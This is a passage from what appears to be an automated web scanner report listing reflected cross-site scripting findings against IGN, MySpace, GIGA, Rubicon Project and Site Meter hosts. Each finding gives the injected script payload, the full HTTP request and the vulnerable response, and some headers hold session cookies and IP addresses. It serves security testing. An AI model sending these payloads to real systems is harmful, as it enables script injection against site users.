Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045062170v-1n-12mc+1297045062170mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=3fi3rp1oshf2g;Path=/indx
Set-Cookie: JSESSIONID=f648p2g5jrmo3;Path=/indx
Set-Cookie: JSESSIONID=1an9ewih2bd7t;Path=/indx
Content-Length: 134883

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Xbox Live Arca
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xboxlive.ign.com/index/games.html?a784f"><script>alert(1)</script>ebc02f90f3a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.770. http://xboxlive.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xboxlive.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b5be"-alert(1)-"0d4f5806fee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?2b5be"-alert(1)-"0d4f5806fee=1 HTTP/1.1
Host: xboxlive.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-1864495108-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045059960v-1n-12mc+1297045059960mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 144915

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Latest Video Game
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xboxlive.ign.com/index/latest-updates.html?2b5be"-alert(1)-"0d4f5806fee=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.771. http://xboxlive.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xboxlive.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d980c"><script>alert(1)</script>9a34f15625d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?d980c"><script>alert(1)</script>9a34f15625d=1 HTTP/1.1
Host: xboxlive.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-25496-2146101953-12;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:37 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045057909v-1n-12mc+1297045057909mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 144975

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Latest Video Game
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xboxlive.ign.com/index/latest-updates.html?d980c"><script>alert(1)</script>9a34f15625d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.772. http://api.myspace.com/-/opensearch/extensions/1.0/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://api.myspace.com
Path:	/-/opensearch/extensions/1.0/

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload a0e45<a>18d288ec396 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /-/opensearch/extensions/1.0/ HTTP/1.1
Host: api.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=a0e45<a>18d288ec396

Response

HTTP/1.1 404 NotFound
Cache-Control: private
Content-Length: 256
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326082423357902&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==&UserFirstVisit=1; domain=.myspace.com; expires=Wed, 09-Mar-2011 00:57:22 GMT; path=/
X-Server: 310a6c90c735fc7e09354bda8a23358e84817cfd07fefce3
Date: Mon, 07 Feb 2011 00:57:21 GMT

<error xmlns="api-v1.myspace.com"><statuscode>404</statuscode><statusdescription>Rogue request trapped. URI: http://api.myspace.com/-/opensearch/extensions/1.0/; Referrer: http://www.google.com/search?hl=en&q=a0e45<a>18d288ec396</statusdescription>
...[SNIP]...

3.773. http://support.igninsider.com/ics/support/default.asp [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://support.igninsider.com
Path:	/ics/support/default.asp

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6f7cc"-alert(1)-"86eb11a79c1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /ics/support/default.asp?deptID=3233&task=knowledge&questionID=2147 HTTP/1.1
Host: support.igninsider.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=6f7cc"-alert(1)-"86eb11a79c1

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 07 Feb 2011 01:58:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 3765
Content-Type: text/html
Set-Cookie: ParaturePortalSessionID=180f587f%2D918c%2D4b64%2Dbf51%2Df93ed65899ed; path=/
Cache-control: private



<HTML>
<HEAD>

<script type="text/javascript" src="/ics/support/inc/yui/build/yahoo/yahoo-min.js"></script>
<scrip
...[SNIP]...
<SCRIPT language="javascript">
//used to maintain session in case of timeouts
var sessionDeptID = 3233;
window.name="support";
var backNavUrl = "http://www.google.com/search?hl=en&q=6f7cc"-alert(1)-"86eb11a79c1";

function exitSupport() {
   //if there are no referers or is a popup, then close
   if ((backNavUrl == "") || (backNavUrl == "popup")) {
       try {
           window.close();
       } catch (e_close) {}

       //
...[SNIP]...

3.774. http://wrapper.giga.de/a [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://wrapper.giga.de
Path:	/a

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload d5437<script>alert(1)</script>08e4af66d47 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /a?size=text&network_id=33&pagetype=homepage&channel_name_override=home&contentTitle=GIGA+-+Gaming+and+Digital+Entertainment HTTP/1.1
Host: wrapper.giga.de
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=d5437<script>alert(1)</script>08e4af66d47
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=8078faf5d2635d5afd7e8e9f59045eef

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:34:12 GMT
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
P3P: CP="NOI ADMa OUR STP"
Set-Cookie: decc=US;Path=/;Domain=.giga.de
Set-Cookie: i18n-cc=US;Path=/;Domain=.giga.de
Set-Cookie: freq=c-1297046052934v-0n-0mc+1297046052934mv+0mn+0wwe~0;Path=/;Domain=.giga.de
Content-Length: 13289

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...
load=function(){};b.src=f;return f
};

   COMSCORE.beacon({
    c1:2,
    c2:"3000068",
    c3:"",
    c4:"http://www.google.com/search?hl=en&q=d5437<script>alert(1)</script>08e4af66d47",
    c5:"",
    c6:"",
    c15:"" });

   var _comscoreGuard = new Object();
}
...[SNIP]...

3.775. http://wrapper.ign.com/a [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://wrapper.ign.com
Path:	/a

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload a447f<script>alert(1)</script>c6cc4efec18 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /a?size=text&pagetype=social_register&subdomain=my.ign.com HTTP/1.1
Host: wrapper.ign.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=a447f<script>alert(1)</script>c6cc4efec18
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmb=173446715.1.10.1297040497

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:04:13 GMT
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
P3P: CP="NOI ADMa OUR STP"
Set-Cookie: freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 13143

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...
load=function(){};b.src=f;return f
};

   COMSCORE.beacon({
    c1:2,
    c2:"3000068",
    c3:"",
    c4:"http://www.google.com/search?hl=en&q=a447f<script>alert(1)</script>c6cc4efec18",
    c5:"",
    c6:"",
    c15:"" });

   var _comscoreGuard = new Object();
}
...[SNIP]...

3.776. http://myspace.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://myspace.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 999bc"><script>alert(1)</script>f04c26c0baf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /?999bc"><script>alert(1)</script>f04c26c0baf=1 HTTP/1.1
Host: myspace.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/?999bc"><script>alert(1)</script>f04c26c0baf=1
Server: Microsoft-IIS/7.5
X-Server: e74915eb62103332358adcc943c7eec7ca388d544023b9d8
Date: Mon, 07 Feb 2011 00:57:18 GMT
Content-Length: 180
Set-Cookie: NSC_mc_qspgjmf-nbjo_80=ffffffff0924000345525d5f4f58455e445a4a423660;expires=Mon, 07-Feb-2011 00:59:19 GMT;path=/;httponly

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/?999bc"><script>alert(1)</script>f04c26c0baf=1">here</a>.</h2></body></html>

3.777. http://optimized-by.rubiconproject.com/a/8276/13378/25879-2.js [ruid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://optimized-by.rubiconproject.com
Path:	/a/8276/13378/25879-2.js

Issue detail

The value of the ruid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4be41"-alert(1)-"df8da89c534 was submitted in the ruid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /a/8276/13378/25879-2.js?cb=0.7077795644290745&rf=http%3A//www.myspace.com/error%3FETOID%3D0%26EC%3D404 HTTP/1.1
Host: optimized-by.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://delb.opt.fimserve.com/adopt/?r=h&l=22002200&pos=leaderboard&rnd=316990301
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; lm="28 Jan 2011 14:48:45 GMT"; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; khaos=GIPAEQ2D-C-IOYY; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; ruid=4be41"-alert(1)-"df8da89c534; csi15=618548.js^1^1296847796^1296847796&719965.js^1^1296847684^1296847684&3159502.js^1^1296847682^1296847682&3184051.js^1^1296847555^1296847555&618565.js^1^1296847262^1296847262&3182051.js^1^1296847154^1296847154&3180300.js^1^1296847117^1296847117&3173810.js^2^1296847104^1296847106; csi2=3191844.js^3^1296847686^1296847798&3182049.js^2^1296847155^1296847264&618566.js^1^1296847118^1296847118; cd=false; put_1185=3011330574290390485; rpb=4894%3D1%262399%3D1%263615%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%263612%3D1%262372%3D1%262196%3D1%262111%3D1%262494%3D1%262189%3D1%263169%3D1%262374%3D1%262119%3D1%265722%3D1%264939%3D1%264212%3D1%264940%3D1; put_1994=6ch47d7o8wtv

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:17:55 GMT
Server: RAS/1.3 (Unix)
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: ruid=4be41"-alert(1)-"df8da89c534^1^1297045075^2915161843; expires=Sun, 08-May-2011 02:17:55 GMT; max-age=7776000; path=/; domain=.rubiconproject.com;
Set-Cookie: rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ+PP8TzZUxGDmBad2r6N25AKxdPo9e; path=/; domain=.rubiconproject.com;
Set-Cookie: rdk=8276/13378; expires=Mon, 07-Feb-2011 03:17:55 GMT; max-age=60; path=/; domain=.rubiconproject.com
Set-Cookie: rdk2=0; expires=Mon, 07-Feb-2011 03:17:55 GMT; max-age=10; path=/; domain=.rubiconproject.com
Set-Cookie: ses2=13378^1; expires=Tue, 08-Feb-2011 05:59:59 GMT; max-age=106924; path=/; domain=.rubiconproject.com
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: csi2=3188456.js^1^1297045075^1297045075; expires=Mon, 14-Feb-2011 02:17:55 GMT; max-age=604800; path=/; domain=.rubiconproject.com;
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Wed, 17 Sep 1975 21:32:10 GMT
Connection: close
Content-Type: application/x-javascript
Content-Length: 1865

rubicon_cb = Math.random(); rubicon_rurl = document.referrer; if(top.location==document.location){rubicon_rurl = document.location;} rubicon_rurl = escape(rubicon_rurl);
window.rubicon_ad = "3188456"
...[SNIP]...
<img src=\"http://trgca.opt.fimserve.com/fp.gif?pixelid=287-036699&diresu=4be41"-alert(1)-"df8da89c534\" style=\"display: none;\" border=\"0\" height=\"1\" width=\"1\" alt=\"\"/>
...[SNIP]...

3.778. http://s50.sitemeter.com/js/counter.js [IP cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s50.sitemeter.com
Path:	/js/counter.js

Issue detail

The value of the IP cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a4f9f"%3balert(1)//f8286ac668e was submitted in the IP cookie. This input was echoed as a4f9f";alert(1)//f8286ac668e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /js/counter.js?site=s50thechive HTTP/1.1
Host: s50.sitemeter.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: IP=173%2E193%2E214%2E243a4f9f"%3balert(1)//f8286ac668e

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Mon, 07 Feb 2011 02:26:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Content-Length: 7276
Content-Type: application/x-javascript
Expires: Mon, 07 Feb 2011 02:36:45 GMT
Cache-control: private

// Copyright (c)2006 Site Meter, Inc.
// <![CDATA[
var SiteMeter =
{
   init:function( sCodeName, sServerName, sSecurityCode )
   {
       SiteMeter.CodeName = sCodeName;
       SiteMeter.ServerName = sServerName;
       SiteMeter.SecurityCode = sSecurityCode;
       SiteMeter.IP = "173.193.214.243a4f9f";alert(1)//f8286ac668e";
       SiteMeter.trackingImage = new Image();
       SiteMeter.dgOutlinkImage = new Image();

       if (typeof(g_sLastCodeName) != 'undefined')
           if (g_sLastCodeName == sCodeName)
               return;

       SiteMete
...[SNIP]...

3.779. http://searchservice.myspace.com/index.cfm [d parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the d request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60f27"><script>alert(1)</script>818bf4e864d was submitted in the d parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}60f27"><script>alert(1)</script>818bf4e864d HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}60f27"><script>alert(1)</script>818bf4e864d
Server: Microsoft-IIS/7.5
X-Server: 03e87069b8104d21ef9e39be5a1e502eb73f56a5dd2e50c5
Date: Mon, 07 Feb 2011 00:59:04 GMT
Content-Length: 403

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}60f27"><script>alert(1)</script>818bf4e864d">
...[SNIP]...

3.780. http://searchservice.myspace.com/index.cfm [fuseaction parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the fuseaction request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14515"><script>alert(1)</script>9d765208126 was submitted in the fuseaction parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /index.cfm?fuseaction=sitesearch.results14515"><script>alert(1)</script>9d765208126&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?} HTTP/1.1
Host: searchservice.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Location: http://www.myspace.com/index.cfm?fuseaction=sitesearch.results14515"><script>alert(1)</script>9d765208126&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}
Server: Microsoft-IIS/7.5
X-Server: 03e87069b8104d21ef9e39be5a1e502eb73f56a5dd2e50c5
Date: Mon, 07 Feb 2011 00:59:00 GMT
Content-Length: 403

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.myspace.com/index.cfm?fuseaction=sitesearch.results14515"><script>alert(1)</script>9d765208126&type=People&qry={searchTerms}&pg={startPage?}&g={myspace:gender?}&npic={myspace:hasPhoto?}&minAge={myspace:minAge?}&maxAge={myspace:maxAge?}&loc={myspace:location?}&d={myspace:distance?}">
...[SNIP]...

3.781. http://searchservice.myspace.com/index.cfm [g parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchservice.myspace.com
Path:	/index.cfm

Issue detail

The value of the g request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 342b7"><script>alert(1)</script>3548056d000 was submitted in the g parameter. This input was echoed unmodified in the application's response.

